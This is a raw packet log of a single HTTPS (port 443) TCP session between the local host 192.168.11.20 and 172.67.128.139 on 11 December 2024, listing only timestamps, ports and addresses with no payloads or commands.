Dec 11, 2024 12:14:48.596690893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.596735954 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.597448111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.597459078 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.597671986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.597671986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.597676992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.597721100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.597815037 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.599020958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.599031925 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.599179983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.599262953 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.599268913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.599370956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.599426985 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.600053072 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.600063086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.600219965 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.600313902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.600317955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.600495100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.601054907 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.601064920 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.601274014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.601274014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.601278067 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.601510048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.601891994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.601903915 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.602078915 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.602129936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.602129936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.602135897 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.602178097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.602313042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.603471994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.603482008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.603636980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.603636980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.603648901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.603734970 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.603806019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.604645014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.604655027 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.604753971 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.604809999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.604809999 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.604882956 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.604887962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.604908943 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.605005980 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.606142998 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.606156111 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.606314898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.606319904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.606360912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.606409073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.606457949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.607146978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.607156992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.607319117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.607367992 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.607372046 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.607422113 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.608181953 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.608195066 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.608345032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.608349085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.608397961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.608500957 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.609323978 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.609333992 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.609499931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.609563112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.609563112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.609571934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.609615088 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.610893965 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.610908031 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.611068010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.611079931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.611162901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.611162901 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.611221075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.611910105 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.611920118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.612073898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.612073898 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.612082005 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.612174988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.612220049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.612857103 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.612867117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.613013029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.613059044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.613061905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.613126040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.613568068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.613672972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.613751888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.613758087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.613810062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.613975048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.614723921 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.614733934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.614909887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.614959955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.614969015 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.615051031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615148067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615521908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.615531921 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.615690947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615690947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615742922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615742922 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615747929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.615840912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.615911961 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.617157936 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.617170095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.617376089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.617376089 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.617391109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.617492914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.617579937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.618021011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.618032932 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.618174076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.618268967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.618268967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.618273973 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.618316889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.618459940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.619208097 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.619219065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.619441032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.619441032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.619441032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.619447947 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.619577885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.620661020 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.620671034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.620800018 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.620873928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.620873928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.620879889 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.620894909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.620944023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.621046066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.621711016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.621721983 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.621906042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.621906042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.622009039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.622011900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.622178078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.622848034 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.622858047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.623009920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623009920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623056889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623056889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623060942 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.623105049 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623218060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623611927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.623622894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.623791933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623791933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623791933 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623799086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.623841047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.623985052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625219107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.625230074 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.625364065 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625439882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625439882 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625453949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.625462055 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625581026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.625623941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.626312017 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.626323938 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.626483917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.626532078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.626532078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.626545906 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.626559019 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.626734972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627330065 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.627341032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.627496004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627496004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627540112 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627546072 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.627588987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627641916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.627739906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628359079 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.628370047 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.628567934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628567934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628567934 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628573895 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.628616095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628616095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.628782034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.629781008 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.629791021 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.629926920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.630009890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.630009890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.630017042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.630204916 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.630924940 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.630935907 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.631083012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.631083012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.631133080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.631135941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.631230116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.631316900 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.631789923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.631800890 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.632005930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.632005930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.632055044 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.632057905 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.632103920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.632226944 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.632950068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.632961035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.633136034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.633136034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.633136034 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.633141994 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.633254051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.633306026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.634298086 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.634309053 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.634488106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.634488106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.634493113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.634609938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.634686947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.635322094 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.635337114 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.635478020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.635478020 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.635524988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.635529041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.635574102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.635684967 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.636257887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.636269093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.636425972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.636425972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.636476040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.636478901 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.636573076 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.636660099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638024092 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.638035059 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.638262987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638262987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638277054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.638283968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638336897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638417006 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.638906002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.638916969 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.639065027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.639065027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.639130116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.639134884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.639208078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.639322042 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640079975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.640089989 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.640268087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640268087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640268087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640275955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.640368938 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640429974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.640906096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.640917063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.641036987 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.641086102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.641086102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.641089916 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.641136885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.641136885 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.641232014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642502069 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.642512083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.642642021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642642021 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642712116 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642718077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.642761946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642762899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.642848015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.643390894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.643400908 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.643551111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.643551111 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.643598080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.643601894 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.643699884 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.643744946 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.644613981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.644623995 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.644808054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.644808054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.644812107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.644860029 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.644954920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.645993948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.646003962 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.646138906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.646138906 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.646187067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.646187067 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.646193981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.646276951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.646337986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647061110 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.647072077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.647186995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647186995 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647234917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647239923 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:48.647288084 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647332907 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.647430897 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:48.648013115 CET	443	49776	172.67.128.139	192.168.11.20
